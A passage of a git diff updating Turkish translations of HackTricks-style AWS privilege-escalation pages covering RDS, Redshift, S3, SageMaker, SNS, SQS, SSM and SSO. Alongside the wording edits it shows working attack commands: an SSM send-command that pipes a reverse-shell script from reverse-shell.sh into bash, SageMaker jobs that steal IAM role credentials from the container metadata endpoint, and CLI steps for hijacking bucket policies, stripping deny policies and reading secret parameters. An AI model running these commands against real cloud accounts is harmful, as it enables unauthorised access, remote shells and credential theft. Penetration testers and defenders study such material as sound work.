olduğunuzu bilirsiniz. +> **`SELECT datname FROM pg_database;`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanası** içinde olduğunuzu bilirsiniz. Öncelikle bu veritabanının başka bir AWS hizmetine erişim için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu, kurulu uzantılara bakarak kontrol edebilirsiniz: ```sql SELECT * FROM pg_extension; ``` -Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişime sahip olduğunu** varsayabilirsiniz (diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi). +Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişime sahip olduğunu** varsayabilirsiniz (diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi uzantılar da vardır). -Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izinleriniz varsa, **`AssociatedRoles`** alanında **kümenin herhangi bir IAM Rolü ile ilişkilendirilip ilişkilendirilmediğini** görebilirsiniz. Varsa, veritabanının **diğer AWS hizmetlerine erişim için hazırlandığını** varsayabilirsiniz. **Rolün adı** (veya rolün **izinlerini** alabiliyorsanız) temelinde, veritabanının ne tür ek erişime sahip olduğunu **tahmin edebilirsiniz**. +Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izinleriniz varsa, **`AssociatedRoles`** alanında **kümenin herhangi bir IAM Rolü ile ilişkilendirilip ilişkilendirilmediğini** görebilirsiniz. Eğer varsa, veritabanının **diğer AWS hizmetlerine erişim için hazırlandığını** varsayabilirsiniz. **Rolün adı** (veya rolün **izinlerini** alabiliyorsanız) temelinde, veritabanının ne tür ek erişimlere sahip olduğunu **tahmin edebilirsiniz**. -Artık, **bir bucket içindeki bir dosyayı okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz: +Artık, bir **bucket** içindeki bir dosyayı **okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -80,14 +80,14 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **S3'e erişebilmek için herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymaz**. +> Postgresql **herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymuyor** S3'e erişebilmek için. #### Mysql (Aurora) > [!TIP] > Bir mysql içinde, **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adında bir kullanıcı varsa, **AWS RDS mysql db** içinde olduğunuzu varsayabilirsiniz. -Mysql içinde **`show variables;`** komutunu çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanasının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz. +Mysql içinde **`show variables;`** komutunu çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz. Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, kümenin herhangi bir **ilişkili rolü** olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir. @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim sağlama** veya örnekteki verileri değiştirme imkanı verebilir. +`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim** sağlama veya örnekteki verileri değiştirme imkanı verebilir. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\ -Bazı DB'lerin, parametre gruplarında rol ARN'sinin belirtilmesi gibi ek yapılandırmalara ihtiyaç duyduğunu unutmayın. +**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\ +Bazı DB'lerin, Mysql gibi, parametre gruplarında rol ARN'sinin belirtilmesi gibi ek yapılandırmalara ihtiyaç duyduğunu unutmayın. ### `rds:CreateDBInstance` -Bu izinle bir saldırgan, zaten var olan ve bir **IAM rolü** eklenmiş bir **küme içinde yeni bir örnek** oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağına sahip olabilir: +Sadece bu izinle bir saldırgan, zaten var olan ve bir **IAM rolü** eklenmiş bir **küme içinde yeni bir örnek** oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağına sahip olabilir: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -130,12 +130,12 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > Eklemek için rol/örnek profili ile ilgili bazı gereksinimler ( [**buradan**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) ): > - Profil hesabınızda mevcut olmalıdır. -> - Profilin, Amazon EC2'nin üstlenme iznine sahip olduğu bir IAM rolü olmalıdır. +> - Profilin, Amazon EC2'nin üstlenme izinlerine sahip bir IAM rolü olmalıdır. > - Örnek profil adı ve ilişkili IAM rol adı `AWSRDSCustom` ön eki ile başlamalıdır. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. +**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. ### `rds:AddRoleToDBInstance`, `iam:PassRole` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 78708cf2c..4b274094a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -19,7 +19,7 @@ aws redshift get-cluster-credentials --db-user postgres --cluster-identifier red # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` -**Potansiyel Etki:** Veritabanlarında hassas bilgileri bulma. +**Olası Etki:** Veritabanlarında hassas bilgileri bulma. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` @@ -31,11 +31,11 @@ aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-clus # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` -**Olası Etki:** Veritabanlarının içinde hassas bilgileri bulmak. +**Olası Etki:** Veritabanlarında hassas bilgileri bulmak. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Aws cli üzerinden iç postgres (redshit) kullanıcısının **ana şifresini değiştirmek** mümkündür (bence ihtiyaç duyduğunuz izinler bunlar ama henüz test etmedim): +AWS CLI üzerinden iç postgres (redshit) kullanıcısının **ana şifresini değiştirmek** mümkündür (bunun için gerekli izinler olduğunu düşünüyorum ama henüz test etmedim): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` @@ -44,13 +44,13 @@ aws redshift modify-cluster –cluster-identifier ## Harici Servislere Erişim > [!WARNING] -> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift kümesi **kullanabileceğiniz bir AWS rolü listesine sahip olabilir** **eğer ARN'yi biliyorsanız** ya da sadece "**default**" ayarlayarak atanan varsayılanı kullanabilirsiniz. +> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift kümesi **kullanabileceğiniz bir AWS rolü listesi atayabilir** **eğer ARN'yi biliyorsanız** veya sadece atanan varsayılanı kullanmak için "**default**" ayarlayabilirsiniz. > Ayrıca, [**burada açıklandığı gibi**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift, daha fazla erişim elde etmek için rolleri birleştirmeye de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) ancak sadece **virgülle** **ayırarak**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` -### Lambdas +### Lambdalar -[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) adresinde açıklandığı gibi, Redshift'ten **bir lambda fonksiyonunu çağırmak** mümkündür: +[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) adresinde açıklandığı gibi, Redshift'ten bir lambda fonksiyonunu **çağırmak mümkündür**: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -60,7 +60,7 @@ IAM_ROLE default; ``` ### S3 -[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 bucket'larına okuma ve yazma yapmak mümkündür**: +[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 bucket'larına okuma ve yazma** yapmak mümkündür: ```sql # Read copy table from 's3:///load/key_prefix' diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 66b734b90..228fc2fdc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ ] } ``` -Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın içeriğini ele geçirecektir**. +Ve ele geçirme, **şablonun yüklenmesi anından** **şablonun dağıtılması anına** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenir** ve **o bucket'ın** **içeriğini ele geçirir**. ![](<../../../images/image (174).png>) @@ -45,14 +45,14 @@ Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs Bunlar **S3'e nesne yüklemek ve almak için** gereken izinlerdir. AWS içindeki (ve dışındaki) çeşitli hizmetler, **konfigürasyon dosyalarını** depolamak için S3 depolamasını kullanır.\ Onlara **okuma erişimi** olan bir saldırgan, üzerinde **hassas bilgiler** bulabilir.\ -Onlara **yazma erişimi** olan bir saldırgan, **verileri değiştirerek bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları artırmaya çalışabilir**.\ +Onlara **yazma erişimi** olan bir saldırgan, **verileri değiştirebilir, bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları artırmaya çalışabilir**.\ Bunlar bazı örneklerdir: - Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**. ### `s3:PutBucketPolicy` -Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olacaktır. +Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle kendisine bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisi kazanır. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir. +Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index e2a4dbb04..2a7f941a0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -4,7 +4,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` Bağlı olduğu IAM Rolü ile bir not defteri oluşturmaya başlayın: ```bash @@ -17,11 +17,11 @@ Yanıt, yeni oluşturulan defter örneğinin ARN'sini içerecek `NotebookInstanc aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`'a tıklayın, ardından “Launcher” sekmesine kaydırın ve “Other” bölümünde “Terminal” butonuna tıklayın. +Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`\` butonuna tıklayın, ardından “Launcher” sekmesine kaydırın ve “Other” bölümünde “Terminal” butonuna tıklayın. Artık IAM Rolünün metadata kimlik bilgilerine erişmek mümkündür. -**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. +**Olası Etki:** Belirtilen sagemaker hizmet rolüne privesc. ### `sagemaker:CreatePresignedNotebookInstanceUrl` @@ -29,11 +29,11 @@ Eğer üzerinde Jupyter **notebook'ları zaten çalışıyorsa** ve bunları `sa ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Potansiyel Etki:** Sagemaker hizmet rolüne privesc. +**Olası Etki:** Sagemaker hizmet rolüne privesc. ### `sagemaker:CreateProcessingJob,iam:PassRole` -Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** çalıştırmasını sağlayabilir ve buna bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetimli ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ekli IAM rolünün kimlik bilgilerini çalabilir**. +Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** yürütmesini sağlayabilir ve buna bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetilen ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ekli IAM rolünün kimlik bilgilerini çalabilir**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ @@ -49,13 +49,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Bu izinlere sahip bir saldırgan, **üzerinde bir rol ekli olan rastgele bir konteyner** çalıştırarak bir eğitim işi oluşturabilecektir. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilecektir. +Bu izinlere sahip bir saldırgan, bir eğitim işi oluşturabilecek, **üzerinde rastgele bir konteyner çalıştırarak** ona **bir rol ekleyebilecektir**. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilecektir. > [!WARNING] -> Bu senaryo, önceki senaryodan daha zor bir şekilde istismar edilebilir çünkü rev shell veya kimlik bilgilerini doğrudan saldırgana gönderecek bir Docker imajı oluşturmanız gerekiyor (eğitim işinin yapılandırmasında bir başlangıç komutu belirtemezsiniz). +> Bu senaryo, önceki senaryoya göre daha zor bir şekilde istismar edilebilir çünkü bir Docker görüntüsü oluşturmanız gerekiyor ve bu görüntü rev shell veya kimlik bilgilerini doğrudan saldırgana göndermelidir (eğitim işinin yapılandırmasında bir başlangıç komutu belirtemezsiniz). > > ```bash -> # Docker imajı oluştur +> # Docker görüntüsü oluştur > mkdir /tmp/rev > ## Eğitim işi "train" adlı bir çalıştırılabilir dosyayı çağıracak > ## Bu yüzden rev shell'i /bin/train içine koyuyorum @@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Bu izinlere sahip bir saldırgan, **bir hiperparametre eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak, üzerinde **rol eklenmiş** bir **rastgele konteyner** çalıştırabilecektir.\ +Bu izinlere sahip bir saldırgan, **bir hyperparameter eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak, **üzerinde rastgele bir konteyner** çalıştırarak ona **bir rol ekleyerek**.\ &#xNAN;_I zaman eksikliği nedeniyle istismar etmedim, ancak önceki istismarlarla benzer görünüyor, istismar detaylarıyla bir PR göndermekten çekinmeyin._ ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 5caa33230..594badb19 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -16,22 +16,22 @@ Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebil ```bash aws sns publish --topic-arn --message ``` -**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. +**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sns:Subscribe` -Bir saldırgan, bir SNS konusuna abone olabilir ve bu da potansiyel olarak mesajlara yetkisiz erişim kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir. +Bir saldırgan, bir SNS konusuna abone olabilir ve bu da mesajlara yetkisiz erişim kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` -**Potansiyel Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi. +**Olası Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi. ### `sns:AddPermission` -Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir ve potansiyel olarak daha fazla izin elde edebilir. +Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim izni verebilir ve potansiyel olarak daha fazla izin elde edebilir. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. +**Olası Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index aaef7dd95..918447797 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -25,11 +25,11 @@ Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar göndereb aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Potansiyel Etki**: Açıkların istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. +**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. +Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index bb354e3e0..e767ead22 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -12,7 +12,7 @@ SSM hakkında daha fazla bilgi için kontrol edin: ### `ssm:SendCommand` -**`ssm:SendCommand`** iznine sahip bir saldırgan, **Amazon SSM Agent'ı çalıştıran örneklerde komutlar çalıştırabilir** ve **içinde çalışan IAM Rolünü tehlikeye atabilir.** +**`ssm:SendCommand`** iznine sahip bir saldırgan, Amazon SSM Agent'ı çalıştıran örneklerde **komutları çalıştırabilir** ve içindeki **IAM Rolünü tehlikeye atabilir.** ```bash # Check for configured instances aws ssm describe-instance-information @@ -31,7 +31,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Potansiyel Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme. +**Olası Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme. ### `ssm:StartSession` @@ -53,7 +53,7 @@ aws ssm start-session --target "$INSTANCE_ID" **ECS görevleri** **`ExecuteCommand` etkinleştirildiğinde** yeterli izinlere sahip kullanıcılar `ecs execute-command` kullanarak **bir komut çalıştırabilirler** konteyner içinde.\ [**belgelere göre**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) bu, “_exec_” komutunu başlatmak için kullandığınız cihaz ile SSM Session Manager ile hedef konteyner arasında güvenli bir kanal oluşturarak yapılır. (Bunun çalışması için SSM Session Manager Plugin gereklidir)\ -Bu nedenle, `ssm:StartSession` iznine sahip kullanıcılar, o seçenek etkinleştirildiğinde **ECS görevleri içinde bir shell alabileceklerdir** sadece şunu çalıştırarak: +Bu nedenle, `ssm:StartSession` olan kullanıcılar, bu seçenek etkinleştirildiğinde **ECS görevleri içinde bir shell alabileceklerdir** sadece şunu çalıştırarak: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` @@ -72,11 +72,11 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc ve SSM Ajansı çalışan ve bağlantısı kesilmiş oturumlar. +**Olası Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc ve SSM Agent'ları ile kesilmiş oturumlar. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Belirtilen izinlere sahip bir saldırgan, **SSM parametrelerini** listeleyebilecek ve **açık metin olarak okuyabilecektir**. Bu parametrelerde genellikle **hassas bilgiler** bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları. +Belirtilen izinlere sahip bir saldırgan, **SSM parametrelerini** listeleyebilecek ve **açık metin olarak okuyabilecektir**. Bu parametrelerde sıklıkla **hassas bilgiler** bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" @@ -95,7 +95,7 @@ aws ssm list-commands ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Bu izinlere sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve **çıktıyı okuyabilir**, umarım üzerinde **hassas bilgiler** bulabilir. +Bu izinlere sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve **çıktıyı** okuyarak umarım üzerinde **hassas bilgiler** bulabilir. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 634a4d95f..c464797b6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. > [!WARNING] -> Bu izinleri kötüye kullanmak için, etkilenecek **tüm hesaplar içinde bulunan bir müşteri yönetimli politikanın adını** bilmeniz gerekir. +> Bu izinleri kötüye kullanmak için, etkilenecek olan **TÜM hesaplar içinde bulunan bir müşteri yönetimli politikanın adını** bilmeniz gerekir. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -83,29 +83,29 @@ Kullanıcıya atanmış belirli bir rol adı için STS kısa vadeli kimlik bilgi ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Ancak, nasıl elde edileceğinden emin olmadığım bir erişim belirtecine ihtiyacınız var (TODO). +Ancak, nasıl alacağım konusunda emin olmadığım bir erişim belirtecine ihtiyacınız var (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -Bu izne sahip bir saldırgan, belirtilen izin setinden bir AWS yönetilen politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı ayırarak (reddetme politikası)** daha fazla ayrıcalık vermek mümkündür. +Bu izne sahip bir saldırgan, belirtilen izin setinden bir AWS yönetilen politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -Bu izne sahip bir saldırgan, belirtilen izin setinden bir Müşteri yönetimli politikanın ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür. +Bu izne sahip bir saldırgan, belirtilen izin setinden bir Müşteri yönetimli politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Bu izne sahip bir saldırgan, izin setinden bir inline politikasını kaldırma işlemi gerçekleştirebilir. **Bir inline politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.** +Bu izne sahip bir saldırgan, izin setinden bir satır içi politikadan izinleri kaldırma işlemi yapabilir. **Bir satır içi politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.** ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -Bu izne sahip bir saldırgan, izin setinden İzin Sınırını kaldırabilir. İzin Sınırından verilen İzin Seti üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık vermek mümkündür.** +Bu izne sahip bir saldırgan, izin setinden İzin Sınırını kaldırabilir. İzin Sınırından verilen İzin Seti üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık vermek mümkündür**. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md 